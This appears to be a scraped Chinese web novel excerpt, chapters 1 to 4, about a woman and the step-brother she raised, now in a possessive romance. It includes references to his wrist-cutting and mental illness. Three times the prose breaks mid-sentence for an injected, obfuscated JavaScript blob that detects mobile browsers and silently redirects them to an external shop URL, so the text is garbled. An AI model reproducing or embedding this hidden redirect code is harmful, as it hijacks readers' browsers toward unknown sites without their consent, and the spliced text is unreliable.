《不再依赖你算长大吗》 1. 枝枝 /爱上一个人,如同创造一种信仰,供奉一个随时会陨落的神。 ——《但丁九篇》 “本台气象局报道,超强台风‘荔枝’预计以每小时10-15公里的速度,偏西偏北方向移动,将于今天上午九点在广东省南部沿海登陆,登陆时强度为台风级或强台风级。” 电视里的新闻主播长得温婉大气,音色也是甜美清冽,从出音孔传出来,倒像是一首动听的安眠曲。 窗棂作响,玻璃上贴着大大的“米”字胶带,窗外已经有兵荒马乱的趋势,路灯上挂着的广告牌被吹飞,空中卷着雨伞,衣物还有各种不知名碎片,成片成片的树林摇摇晃晃地拽着土地苟延残喘。 盛凝说不好是被电视机的声音吵醒的,还是被风声叫醒的。 长睫抖动两下才彻底抬起,露出一双琥珀色的眸子,眼球上映着新闻频道特有的蓝色光线。 外面是阴天,狭小的卧室里,唯一的光源也来自电视,上面重复播报着台风即将登陆这座城市的红色预警。 她睡得不安稳,旁边还放着新闻,平时家里的电视鲜少被打开,蜗居在这个单人公寓以来,这是它难得工作的一次,因为打开它的,并不是盛凝。 盛凝打开手机,未来得及自适应的高亮度屏幕晃了她一眼,下意识闭起眼睛快速把亮度调低才缓缓适应。 手机弹窗疯狂蹦出各种消息,天气预报,台风预警,地铁停运学校放假的新闻报道,中间夹杂着微信群里主管@所有人说今天不用上班的通知。 对于一个朝九晚六的社畜而言,这可是比台风还重要的一条信息。 她浑身都酸痛得要命,四肢仿佛在昨天夜里被强拆过一遍,现在根本不听她的使唤,几乎是半爬半拽的从床上起来,想打开窗帘透些阳光进来,却忘了双手扯开帘子后,眼前是雨水横流的玻璃窗。 室外嘈乱无比,房间里衣服,领带,塑料包装纸,还有各种瓶瓶罐罐,堆叠丢在地板上,好像也被台风光顾过一遍。 可能是宿醉的缘故,盛凝头疼得要命,她几乎是闭着眼睛把宽松的睡裙套上,结果穿了半天也没摸到哪边是领子哪边是裙边,似乎有好几个洞等着她的脑袋去钻。 无奈,她必须要睁开眼仔细看看这件衣服的构造,不看不知道,得,一片睡裙顺着针脚被撕开,领子荡得不成样子,陪她两年的裙子彻彻底底牺牲了。 从衣柜随便掏出一套T恤短裤穿在身上,然后头发凌乱,睡眼惺忪的女人一屁股陷进床垫,认真思索一个问题。 她接下来要干什么…… 按理说她应该走出卧室,进卫生间洗漱,梳一梳她鸟窝似的卷发,然后对付点牛奶面包,接着趴在书桌上接着赶没画完的稿子。 但是现在盛凝无论如何,都不想走出这间房间,好像只要她不出去,紧闭的房门就不会被人打开,她就像个鸵鸟一样可以永远把自己的脑袋埋在这张小小的床上,昨晚经历的一切,全都当个梦做完就完事。 可惜这间房子里并不是只有她一个人,对方显然也不会给她这个自欺欺人的逃避机会,卧室木门的合页有些生涩,转动时发出令人牙酸的摩擦声,比视线先传来的是一股淡淡的香气,若有似无的玫瑰荔枝味,典型的女香,一个身高腿长的男人喷这个不免显得突兀。 她已经很久很久没有闻到过这个味道了,即使这样,嗅觉神经在感受到熟悉的气味时还是能瞬间连通大脑,恍然掀起一波铺天盖地的记忆来,她想起从前住在北方时漫天的黄土,孩子无休无止的哭声,来回摇头的电风扇,还有各种声音各种情绪喊出的—— “姐姐,姐姐。” 对方进来,盛凝头也没抬,眼皮露出的些许视角,是两条笔直的西服裤腿,脚上穿着一双粉嫩的小兔子拖鞋,明显有点小,又和黑色西裤的颜色对比太过强烈,显得十分滑稽可笑。 一碗热气腾腾的阳春面和一盘水果被放在桌上,头顶传来触感,被像小猫一样抚摸着发丝,声音从更远处传来——“去洗漱吃早饭。” 简简单单的陈述句,没加任何语气修饰词,可就是听起来低沉又温柔,饱含宠溺、爱意,还有一切一切盛凝渴望的情感。 只是这些情感,并不应该出自面前这个男人。 她索性往后一靠,整个人缩在墙角,不耐烦地咬着指甲回应:“程总日理万机,怎么现在还不滚呢?” 最礼貌的语气讲出最尖锐的话,都不是赶客这么简单了,直接说他是死缠烂打,赶紧滚。 程煦一身西装革履,但是衬衫领口打开,领带不在身上。 他并没有生气,反而低笑一声,顺着盛凝的方向坐下来,手掌撑在床单上,上身前倾,程煦长得高,一下子就靠近在盛凝眼前,鼻尖碰到他额前的发丝。 程煦轻轻皱眉揽过她的手,本就脆薄的指甲因为总是啃咬变得不成样子,他用指腹摩挲一下,轻轻亲了亲盛凝的指肚。 墙角的人跟只炸毛的猫似的,立刻甩开他的手,抬起脚狠狠往他肩膀处踹了一脚,程煦被踢得后仰,两个人拉开好一段距离,一个在床头一个在床脚,盛凝才觉得闭塞的房间空气流通了一些。 她把刚刚被亲过的手在床单上用力摩擦两下,看起来嫌恶得不得了,她破口大骂:“恶心死了恶心死了,你赖在这里干什么,这是我的房子,我一个人活得好好的你到底为什么要来招惹我?你现在一天就能赚我一年的钱,你他妈图我什么?” 盛凝不是个喜欢说脏话的人,除非惹急眼了,也就是蹦出几句“他妈”“傻逼”之类的词,毫无攻击力可言,纯粹只是为了表达她现在有多愤怒。 程煦的眼睛和盛凝很像,小时候总是被邻居说这对姐弟的眼睛都长得又长又弯,含着汪水似的漂亮,只是盛凝的瞳色浅,阳光一照是琥珀色的,但程煦的眼睛跟头发一样乌黑,没办法从这双深渊似的眼睛里看出他是喜是悲,他的下属总是拿这双眼睛没办法,摸不透他是满意还是不满意,忐忑地把方案交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481761|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去,看他没有波动的表情以为过了,下一秒就被丢回来,“你是人机吗,比AI写得还难看。” 但盛凝太了解他了,于是就能从他现在的表情,眼神里尝出些“玩味”,“兴奋”,他的瞳孔都在震颤,而嘴角只扬起几个像素点。 越过丢在地上的领带,他捡起脚边的包装袋,问盛凝:“这个味道怎么样,国内没卖的,特意让朋友从美国捎回来的,喜欢吗?” 挑衅,纯粹是挑衅。 程煦还不罢休,要给盛凝再添一把火,“图你……” 屋里没有开灯,盛凝逆着电视发出的光看他,说最后两个字的时候恰巧灰压压的天空闪过一片惊雷,震耳欲聋,盛凝除了雷声什么都没听到,只看见程煦的薄唇,吐出两个字来,嘴型张大成圆形,合拢,再张大。 仅有的光源下她眯着眼睛才费劲看见他的口型,程煦平时说话口型变化很小,现在倒是好想知道老天什么时候要打雷一样,嘴型清楚得恨不得把两个字的音节都拆开来说。 她读懂程煦的唇语时雷声已经转瞬即逝,屋子里安静得要命,紧接着凝滞的空气中爆发出盛凝的吼声:“程煦,反了天了你!”她把枕头砸在他身上,扑过去拽着他的领子,扇他一巴掌。 程煦压根没想躲,结结实实挨了这一下子,力道不轻,白皙的脸颊上霎时就浮现出一个掌印来。 盛凝想起昨天晚上扣住她腰肢的那双手,手腕上七扭八歪爬着几道肉粉色的疤痕,她看着这个掌印有点后怕,身子刚往后挪了一下就被程煦搂着腰往怀里带。 他跟盛凝肚子里的蛔虫一样,看出她在怕什么,有时候两个人太了解对方也不好,话都不用说就知道心里在想什么,好像脱光了一样赤裸裸站在对方面前,被完完全全看穿的感觉非常没有安全感。 “你怕什么,你看清楚我是谁,我是程煦,你亲手养大的程煦,你以为我是江淮吗?他是不是拷过你,掐过你?” “但是我不会,我永远不会活得像他一样。”他包裹住盛凝发抖的手,指骨硌得他手心疼,皮肤凉得像尸体,没有温度,他尽量把声音放得软一些,再软一些,“所以,你别害怕,记住我是小煦,你的小煦。” “小煦……”盛凝重复他的话。 感觉到怀里的人不再僵硬,程煦伸手从小桌子上的果盘里拿了颗荔枝,剥开暗红色带着虬结沟壑的外皮,露出晶莹剔透宛如软玉一般的果肉来,被塞进盛凝鲜红的口中,清甜的汁水瞬间浸满口腔。 他手心朝上,“吐。” 盛凝咀嚼两下,从两瓣唇中间吐出颗黑色椭圆的果核。 程煦等不及她吃完了,低头吻上她,这个混着荔枝味的吻最后以程煦的嘴角被咬破个口子结束,果汁混着腥气的铁锈味,盛凝隐隐作呕,就像他们这段不堪入目的关系一样丑陋恶心。 程煦抹掉她唇珠上的血迹,咬耳朵似地低声道:“这几年的每个晚上,我都能梦见你。” “枝枝。” 2. 割腕 “枝枝是你叫的?”她眯着眼睛质问。 程煦立马呛了回去,“怎么,你不喜欢?还是说你在床上想听别的称呼?” 他语气戏谑:“比如……姐姐?” 盛凝气得又抬起手想抽他,他就献宝似地把脸往前凑,“再扇这面,给我整个对称的。” 她怎么以前没发觉在这方面程煦那么不要脸? 物理意义上的不要脸。 凝滞在空中的手又收了回去,两个人对峙了好一阵,盛凝实在饿得不行,一脚蹬开程煦,从他怀里逃了出来,坐在桌子旁边享用程煦给她准备的早餐。 不知道是饿狠了还是怎么的,她觉得这碗面跟加了违禁药品一样香,于是吃得急了些,忘记吹凉再送进嘴里,下一秒五官皱成一团,吐出点儿被烫得猩红的舌尖来。 程煦“啧”了一声,“又没人和你抢。” 他的语气特别诡异,像教训不够乖巧听话的小孩子,这种语气用在比他年长的盛凝身上完全不合适。 “你管我,我乐意怎么吃怎么吃,烫死我活该。” “烫死你我心疼。” 盛凝被突如其来的告白噎了回去,面条好像卡在喉咙里不上不下的,她战术性拿起水杯顺一顺嗓子。 程煦趴在桌子上指骨杵着脑袋歪头看她,看见她窘迫的样子忍不住轻笑。 旁边投来的目光实在瞩目,盛凝埋头吃完面已经挺饱的了,硬是把那盘水果也吃得一干二净,对方却跟木头人一样岿然不动,就直愣愣地盯着她。 终于盛凝不耐烦了,CCTV13开始播放《新闻直播间》,已经九点了。 就算是一夜春宵再怎么缠绵悱恻,也该到结束的时候了。 “你很闲吗,还不走?” 话尾还没完全落下,窗户处传来声不大不小的响声,盛凝还是被吓得一缩肩,顺着声源转头看去,不知道是谁家阳台又遭了罪,衣架都吹到她住的五楼来了。 再转头看程煦,对方扬扬眉毛一撇嘴,好一个无奈的模样,“这么大风我怎么走啊,坦克来了都得刮天上去。” 盛凝后知后觉反应过来,掐住程煦的下巴,恶狠狠地问:“哦,你早就计划好了是吧死小子。” 早就计划好昨晚找上她,然后自然而然被困在这间小小公寓里,死皮赖脸跟盛凝住上两三天,好好重温一下久别的感情。 程煦没说话,只是任由她捏自己的脸,笑着注视她,这在盛凝眼里叫默认。 她从鼻子里冷哼出一声气,“这倒把锅甩我身上了,我要是现在赶你出去,是不是会被当成杀人犯捉起来?” 程煦没当她说玩笑话,神经质一般认真地回答道:“你要是想让我死,现在我就能割腕。” 他说罢要拿果盘里的水果刀,伸出的手被盛凝半路截下。 “你有病是不是,听不出来我说反话?” 程煦眨眨眼睛,说:“我是有病啊,姐你不是知道吗,还是你带我去医院的。” 这声姐把盛凝一下子带回四年前,只有十八岁的程煦在手腕刚留下一道伤口的时候。 那是连城难得的一个暴雨天,晚上路边一辆车都没有,荒凉得渗人,她费劲地拖着昏倒的程煦去了医院,一整晚都没合眼。 当时她抱住程煦的身体时,只觉得为什么这么冷,明明病房里没有开空调,闷热得要命,可是她就像抱着尸体一般冰冷。 那一瞬间盛凝的心跳几乎跟着程煦的血一起凝固了,她终于知道那些反常是为什么了,因为她的弟弟生病了,是生病了。 “小煦。”盛凝掏出一沓报告单,“你醒了难受吗,我们得去做检查了。” 程煦跟在盛凝身后低着头走,再抬眼发现是精神科诊室。 程煦停在门口,后退两步,对盛凝说:“我没病。” 他现在看起来冷静极了,压下的眉宇闪着锐利的光。 他是品学兼优的高材生,怎么可能会有精神病。 盛凝很累,不愿与他争辩,轻声说:“就是看看,没有更好。” 诊室前的电子屏显示下一个就是程煦,机械的电子音突然开始播报。 “请程煦到1号诊室。” 这烦人的声音一下子把他的火点着了,皱眉道:“我说了我没病。” 他怎么可能有病,他自己心里清楚。 盛凝一定吓坏了,也不用脑子想想为什么刚好她一回来就能看见门口一滩血,为什么晕倒时他身体那么冷,正常人流这么多血早就完蛋了,他现在还能站在她面前? “我没病!我没病你听不懂吗?我要回家!现在就送我回家!你是不是不想要我了,是不是我是精神病就要被关起来不想要我了!我就知道,我就知道!” 他开始挣扎,吵闹,声音不自觉地放大了很多倍去据理力争。 程煦不知道当时的他在盛凝眼里的多么像一个刻板印象里的精神病。 盛凝跟看傻子一样踮脚摸了摸程煦的脑袋,像小时候哄他那样:“小煦乖啊,姐没不要你,你就算生病了姐也会带着你治病的,不会把你关起来的。” 他低着头恨恨地说:“可是你要走了,不回来了,你不回来了!” 他说得语无伦次,盛凝想把他的肩揽进怀里,却发现对方那么高,已经没办法像以前那样抱了。 她干脆贴在程煦前胸,暧昧的动作变成了盛凝无可奈何的诱哄。 姐的香气和他是一样的,他们用着同一瓶洗衣液和沐浴露,就像血管里好像真的流着同样DNA的血一样。 后来检查结束,盛凝坐在程煦身边,看着手里的病检单一言不发。 她忽然想起继母弥留之际的癫狂模样,脑海里女人那双裹着血丝的双瞳和眼前少年疲惫不堪的眼眸重合,似乎在告诉她一切都有迹可循。 生病的是程煦,哭的是盛凝,姐姐的眼泪可以浇灌出最忠诚的小草。 “程煦,你病了。” 程煦像头还未满月的小兽,眨了眨清澈的眸子,语气平静,他只关心一件事—— “姐姐会陪我么?” 现在二十八岁的盛凝已经忘记当时是怎么回答的,承诺这种东西在成年人之间本来就是情绪上头的调剂品,程煦要是治不好,她难道还要陪他一辈子吗? 所以答案是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481762|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么已经不重要了,毕竟如今也走到满目狼藉的地步。 手机震动,盛凝看到消息提示划开锁屏顺手点开语音。 一个温润的男声瞬间在房间里炸开。 “你那块还好吗,要是没足够的补给我可以给你送点面包方便面什么的,也不算很远。” 盛凝面色如常,手指在键盘上戳戳点点:「不用了,我囤的速食足够。」 点击发送键的前一秒,一只骨节修长的手嚣张地从面前夺过她的手机,动作快到根本反应不过来。 盛凝眼睁睁看着程煦点开语音,“谢谢好意,不过她有我照顾,应该比吃面包方便面健康多了。” “程煦!” 她抢过自己的手机,消息界面还停落在自己未发出的草稿,她明明听见语音发送的声音了,合着最后程煦在她手机上点的那两下是把刚发出去的语音删除了,这下撤回也撤回不了了。 她把手机拍在桌面上,接上刚才的话题妄图惹怒他,“那你有病去治!我又不是医生你缠着我干嘛,你凭什么随便碰我手机替我回消息。” 她觉得不够决绝,又加上一句,“你不要忘了当时是谁先离开的,咱俩现在可什么关系都没有了。” 盛凝知道从很小的时候,程煦就很畏惧盛凝的离去,他必须反复在耳边确认他们两个是不是能永远在一起,姐姐是不是去哪里都会带着他。 因为没有足够的血缘作为底气支撑这段薄弱的亲情,程煦能依赖的筹码只有盛凝的心软。 但盛凝没意识到坐在她旁边的已经不是当初那个摇尾乞怜是小男孩了,程煦的西装昨晚被她抓得皱巴巴,光是扯下来的那条领带就四位数,不用说腕表,皮鞋,还有兜里的车钥匙到底是两个“R”还是一个长着翅膀的“B”,他现在有通天的本事,只要他想,就没有做不到的。 程煦听到盛凝的威胁“噗嗤”一声笑了,“那行,咱俩结婚领证不就有关系了吗?” 不可理喻。 “谁他妈要跟你结婚?” “你不和我结,你和台风天你给送方便面的结?” 盛凝自然没那个意思,消息的主人不过是个单位里偶尔向她示好的男同事,两人抬头不见低头见,人家不明着说想法盛凝就装傻充愣不知道,消息回,但给的好处不收,不然以后说不清楚,闹掰了多尴尬。 她一挑眉,咬着牙说:“怎么了,方便面不解饱吗?” “你忘了小时候你牙是怎么吃坏的了?” 盛凝闻言想起青春期夜夜折磨她的牙痛,“至少人家是个思想正常的健康人,我就想要平淡健康的恋爱行不行?” 健康这个词跟程煦沾边吗? 她都不敢想要是和程煦回连城,街坊邻居要怎么看他们,恋人?姐弟?p友? 这三个词混在一起,构成了最劣质的关系,见不得天光,听不得人言。 程煦叹了口气,他不明白都已经满地狼藉了盛凝还在执拗什么,他是有病,但很好治,不是病例单上的“双相情感障碍”。 他只是得了一种,针对于盛凝的依恋病。 而盛凝整个人就是他的药引子。 3. 腐烂 盛凝第一次看见继母时,就觉得她的眼睛很漂亮,很特别。 年轻夫妻的婚姻,在KTV包厢开始,然后相看两厌匆匆结束。在四岁之前大脑发育尚不完全,盛凝的记忆力只有父母无休无止的争吵。 那时的她很奇怪,为什么两个人能有打不完架,吵不完的话题。 上到借钱贷款,下到今天的饭菜不够合胃口,他们似乎总能抓住一个不甚满意的话头,合理开启一场大战,丝毫不顾及幼小的女儿还在一边的沙发上啃着火腿肠,到最后辱骂声打砸声混着盛凝的哭声,家里好不热闹。 于是这场岌岌可危的婚姻只持续到第五年。 在一个平静到连风声都听不见的午后,盛凝坐在院子里看蚂蚁,妈妈揉了揉她含着棒棒糖的小脸,再亲亲她,说:“和妈妈说再见。” 妈妈要干什么去? 盛凝的小脑袋转不过弯来,她想或许是去剪个漂亮的发型,或许是去个无聊的饭局,因为妈妈的自行车还在门口停着,刚买回来的杨梅还在厨房的水池里泡着,一切都象征着无比平常的一天,乃至连点风吹草动都没有。 于是盛凝摆摆小手跟妈妈告别。 她没想到那是她见妈妈的最后一面。 爸爸发现妈妈走后,没说什么话,他习惯于扮演沉默的大多数。 可能因为盛凝是个女孩吧。 爸爸对这个已经千疮百孔的家庭没有任何留恋,他说他要出去闯闯。 不带着盛凝的那种。 所以盛凝被留给奶奶。 奶奶年纪大了眼睛不好,大多数时间在睡觉,听半导体里的戏曲频道,盛凝像个物件一样被倒卖再倒卖,最后她这个拖油瓶就挂在了二婶身上。 爸爸妈妈都走了,家就不再是盛凝的家,她成了寄人篱下的那个小孩。 成年人总把没开智的小孩当傻子看,实际上小孩子心里也很能藏事。 某年夏天,别人送了二叔一箱荔枝,在连城这个北方城市荔枝卖得比肉还贵,那是八十块一斤的妃子笑。 二婶一个都不舍得给盛凝。 “给你,拿去外面吃。”二婶抓一把荔枝塞到堂弟怀里,彼时盛凝还是个在屋里看动画片的小傻子。 这小孩蔫坏,故意剩了两个荔枝带进屋里在盛凝眼前晃。 “想吃吗?” 盛凝盯着两颗红红的诱人宝石,点点头。 “那你求求我。”男孩把手背在后面,一副盛气凌人的模样。 盛凝双手合十在胸前晃了晃,小声说:“求你了求你了。” 男孩又说:“你得跪下求我。” 他比盛凝小两岁,盛凝怎么愿意跪他,她不肯,堂弟就哭,哭声能随机招来奶奶,二叔或者二婶。 不论招来哪一个对盛凝都不是好结果,她也不明白,自己都不要吃了,为什么最后还要挨说挨打,简直得寸进尺。 想着小拳头就攥紧了,迎面给了堂弟一下子。 堂弟被这突如其来的一下子给打蒙了,只会瞪着眼看她,哭都忘了哭。 盛凝惨白着小脸,张着嘴大口呼吸。 她干坏事也心虚,只能强装镇定,学着街上混混那样不好惹的语气,“不许哭了,再哭我还打你!” 这招竟然有效,堂弟真不哭了,为了永绝后患,盛凝拽起他的衣领。 如果非必要,盛凝都不想碰他的衣服,饭菜和辣条在半袖上沾满星星点点的油渍痕迹,脏得要命! 她补充道:“不许告诉你妈,不然只要她不在我就揍你!” 堂弟抽抽鼻子,愣愣地点点头,跟小木偶似的,盛凝见状才把他放开,看着对方蔫吧菜一样出溜就跑了。 于是六岁的盛凝第一次体会到身上长满尖刺的好处,她看着堂弟在逃跑时候掉下一颗荔枝来,红彤彤的果子滚啊滚,滚到墙角。 二婶采取夏天非必要不开空调的政策,屋里又潮又热,人都会热坏啊,更何况水果。 因此在某次忘记将那箱荔枝放进冰箱后,盛凝顺着果子滚落的轨迹在隐匿的墙角看见这个白白的泡沫箱。 她闻到香甜腐败的味道。 在湿涩的夏天,一年中最熟最烂的季节里,门外的树枝长着暴雨过后亮晶晶的花叶,月季汲取死亡鸟类内脏的养分,开出又红又艳的花苞来,比花店里的玫瑰还香软。 盛凝打开箱子,深红到发黑的皮崎岖虬结,苍蝇,蛆虫顺着诱人的味道来品味腐生的美食,如果把皮剥开,就能看见本该是莹润玉白色的果肉变黑变黄,化成一滩脓水,顺着指缝流逝后,留在手掌里的只剩下一颗坚硬的黑核。 她想吐,但没吃东西只会呕出些酸水来,在视觉冲击的下一秒,新的问题又涌上心头——是她打开的箱子,二婶会不会将火都泻在她身上? 后来她发现自己的担心显得很多余,因为这时候奶奶在菜地里摔了一跤,老年人最怕摔跤,这么一摔,院子就挂上了白布。 奶奶不在了,盛凝就显得更多余,她猫在角落看着邻居阿姨穿着丧服围成一圈嗑瓜子,家长里短怎么也逃不过说说盛凝的去留。 别说她们愁,盛凝自己也愁,等堂弟再长两年自己可就打不过他了啊! 二婶没有参选感动中国的打算,所以没有收留盛凝的计划,借着聊闲天明里暗里地敲打二叔叫他给盛凝送走。 眼看两个人说着说着就要吵起来,盛凝低着头,在自己的小凉鞋对面,出现了一双沾着土的布鞋。 然后她爹是怎么进来的?盛凝不记得了,或者是她根本没看见,混乱的记忆是从男人一把拉过她细弱的手腕开始,比起视线,嗅觉先一步识别出那混着机油,尘土还有腐烂的草的熟悉味道,她的爸爸,赐予她一半血液和心跳的人。 “走。” 她爹惜字如金地就给了她一个字。 走,走去哪? 从农村到城市,两个小时的大巴跨越了连城的西北到东南,盛凝一点点看到灰头土脸的山长出了绿色的枝干,好像也在她的心窝里种下了颗种子,等着从贫瘠的土壤里生根发芽,不知道能长出什么样的花来。 背着书包站在灰色水泥柱前,毫无疑问的老破小,楼道贴满了“开锁”,“通下水”或者是更加露骨的小广告,她跟着盛源康噔噔噔爬上六楼,听见盛明康在黑暗里一跺脚,没好气地说:“这破灯又坏了。” 盛凝没有说话,安静地看着他开门,锁孔大概有些生锈,拧起来又涩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481763|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又硬,要一边拉着门把手一边转钥匙才能打开。 屋里关着灯,进门就能闻到股味道,不好说,大概是泡面酒瓶子旧衣服还有别家做饭时候串过来的煎鱼味,绝对不算好闻。 虽说是两居室,但明显盛凝这间次卧是杂物间收拾出来的,说明接她来连城的决定并非早有打算,奶奶死得突然,盛明康再厚的脸皮也不好意思让女儿白吃白喝弟弟家的,再一合计,自己养应该比给弟弟抚养费更划算,于是盛凝就这么到他身边了。 盛明康在工地干活,那时的建筑行业还残存着最后的余晖,他忙得脚不沾地,中午给盛凝带份工地上十块钱一份的盒饭,晚上他自己做饭吃,的确跟加双筷子没什么区别。 盛凝有时候会看电视,那几部动画片她都会背了,从窗户传来楼下嬉笑的声音,她从楼上往下看,小区里有个小广场,中间还放了滑梯和秋千,晚饭前就有家长带着小孩子来这里玩了,一般都是小朋友们自己约好的时间,带着皮筋跳绳还有摇摇车,清脆的笑声尖锐到能刺破昏蓝的天。 她就每天看着这些孩子们从盛夏玩到初秋,两个月从来也没出去过。 因为爸爸并没留给她钥匙,出去了就没办法回来。 没有钥匙的家,真的是她的家吗? 盛凝看着楼下跑来跑去的流浪小狗,脏兮兮的,突然觉得自己和小狗并没有什么区别,只不过一个在楼房里,一个在楼房外罢了。 九月,盛凝在连城上了一年级,她终于借着放学比她爸下班早的由头,找盛明康索要家门钥匙。 盛明康从腰带上解下一大串叮呤咣啷的累赘,挑挑拣拣把一把小小的铁质钥匙从圆环上解下来给她,盛凝学着同学的样子栓绳套在脖子上,感觉上学路上后背都挺直了几分。 乡下幼儿园就是带着小孩玩,她学汉字拼音都比别人慢一步,从小就显露出几分厌学的征兆,最喜欢的还是美术课。 老师教他们画家庭画,她特别认真,用蜡笔勾勒出太阳草坪大树,再画下爸爸和自己手牵手,最后画纸右边空下一块,盛凝后知后觉想画上妈妈,可一笔也没落下。 小小的女孩梳着乱乱的马尾辫,细软的发尾滑稽地翘起,她的小脸涨得红红的,周围的氧气要凝固住窒息而死——她记不清妈妈的模样了。 这天稀奇,爸爸回来得比盛凝早,一打开门就是排骨的味道,她一下子咧嘴笑了,书包都来不及放下就跑到厨房给盛明康看她的画。 盛明康难得对她笑笑,说话声音混着抽油烟机的噪声,盛凝费了好大劲才听清爸爸说:“画上应该还有妈妈和弟弟才对。” 妈妈……和弟弟? 身后没有声音,盛凝还是借着第六感转头,穿着灰色长裙的女人从爸爸房间里走出来,她的头发又长又亮,散在背后跟瀑布一样,两边的刘海有些遮住眼睛,盛凝只看见她眼熟的下半张脸。 霎时,盛凝瞳孔缩紧,唇瓣嗫嚅两下都没能发出声音,锁在脑海最深处的魔盒在看见那张素丽的脸时突然被打开,把一处又一处模糊的记忆黏合好,盛凝大大的眼睛开始泛红,最后包着一汪泪要掉不掉的。 她一撇嘴,说话委屈巴巴的,朝那个女人喊—— “妈妈。” 4. 弟弟 听见盛凝从嘴唇中流出那声带着委屈味道的“妈妈”,女人先是愣了几秒,而后轻轻捂嘴笑了。 盛凝下意识脱口过于亲密的称呼,她疯狂地注视着对方的脸,才看出蹊跷的端倪。 等到不远处的女人慢慢走进,她的羞耻和不安才被一点点放大——那哪里是她妈妈啊,根本就是一个不认识的阿姨。 要说脸色最凝重的,应该是站在盛凝身后的盛明康,面容中带着隐匿秘密被孩童不经意揭开的尴尬和愠怒,但他不能责怪盛凝,因为没有理由,更没有资格。 盛凝曾在儿童时代深深困惑,那半张精致小巧的脸,尖尖的下巴上方点缀着莹润的双唇,然后再往上,看到挺翘的鼻尖,明明父母之间看起来已经不留一丝情意,但爸爸的第二位妻子为什么几乎和她的妈妈长得如出一辙? 在仅仅个位数年份的生命里,盛凝看见的先来后到,先是妈妈,再是继母,所以困扰理所当然地缠绕住她,后来可能会在某个情窦初开的花季雨季,突然在写数学题神游的时候猛然搭上那根一直错接的弦,盛凝才能在试卷里恍然大悟地抬头,想到,在爸爸不算漫长的一生里,大概继母才是那个先来的人。 盛凝仔细才看清阿姨的眼睛,很特别,很漂亮。 眼尾上扬,黝黑的眼珠焦墨一般,细长的睫毛垂在眼皮上,盖住将近一半的眼眶,迎着厨房玻璃窗投进来橙橘色的余晖光芒,染红女人的卧蚕眼尾,连带着柔软的发丝都带上金光。 区分两个女人最有效的方法就是这双眼睛,只要看盛凝就知道了,盛凝的眼睛随了妈妈,几乎是一个模子刻出来的。眼尾下垂,双眼皮褶皱很深,大眼睛几乎占了正脸的四分之一,小孩子的眼睛很多都是湿漉漉的,像是刚被接生出来的小狗,琥珀色的瞳仁像游戏厅里随处滚落下来的玻璃珠,球体里带着稀碎的裂痕,痣也长得特别,没落在眼尾,生在了眼角,让平时有些木讷的目光也生了几分狡黠。 就是这样一双无害又纯稚的眼睛,可以将妈妈和继母区别开来,将盛凝那份无处安放的依赖也封存个彻底。 盛明康扯开话题,给盛凝介绍起女人来。 他说阿姨叫程蔓君,以后要和他们一起生活,阿姨还带来一个弟弟,要盛凝好好对他。 弟弟? 盛凝看见躲在程蔓君身后的孩子,太小了,才到她的大腿,只有一岁多。 她没由来地想起之前在老家那个让她下跪的堂弟,毫不掩饰地皱了皱眉头,男孩从小到大,一岁也好七岁也好,都是讨人厌的东西,恶劣,吵闹,肮脏都可以用来形容烦人的弟弟,她将曾经不好的回忆全部按在这个第一次才见到的小男孩身上,这当然是不公平的,但至少盛凝没说出来,没有跟电视剧里的戏码一样指着这对母子叫他们滚出她和她爹的家。 这点小小的恶意就自然可以忽略不计。 当然,盛凝和她爸的关系,也没到值得盛凝占有欲发作,会大动干戈驱逐外来者的地步。 要不是这点可怜的血缘存在,恐怕盛明康都不会多给她一个眼神,她觉得爸爸看这个新妻子的目光可都快化成水了,这种目光在自己和妈妈身上都没见过,到时候恐怕还不知道是谁赶谁呢。 盛明康在厨房忙活,剩下三个人坐在沙发上,静得尴尬。 盛凝趴在茶几上装模做样写作业,人在尴尬的时候会很忙,她在格子本上涂涂写写,橡皮屑掉满了茶几,最后没落下几个字。 眼前伸出一只细白修长的手,将酒红色的球状物体递到她面前。 盛凝抬眸,此时程蔓君微笑看她,把荔枝放在她手上,说:“不知道你喜欢什么水果,就都买了点。” 她看见瓷砖上放着一个大塑料袋,顺着袋口看见露出来的橘子香蕉水蜜桃什么的。 就好像程蔓君早就知晓她的喜好一样,递过来的却是一颗正当红的新鲜荔枝。 汁水在口腔里炸开,晶莹剔透的荔枝肉滚在舌尖,无比清凉香甜。 几个月前在眼前生虫腐烂的果子换了一种形式进到嘴里,原来荔枝是那么香甜可爱的一种水果。 盛凝就轻易被一颗荔枝收买,悄悄在心底给刚见面的程阿姨积分:“好感+1、好感+1” 然后从另外一个方向又有人递给她荔枝,违和的是那是只很小很胖藕节一样的手。 男孩跟他的母亲有样学样。 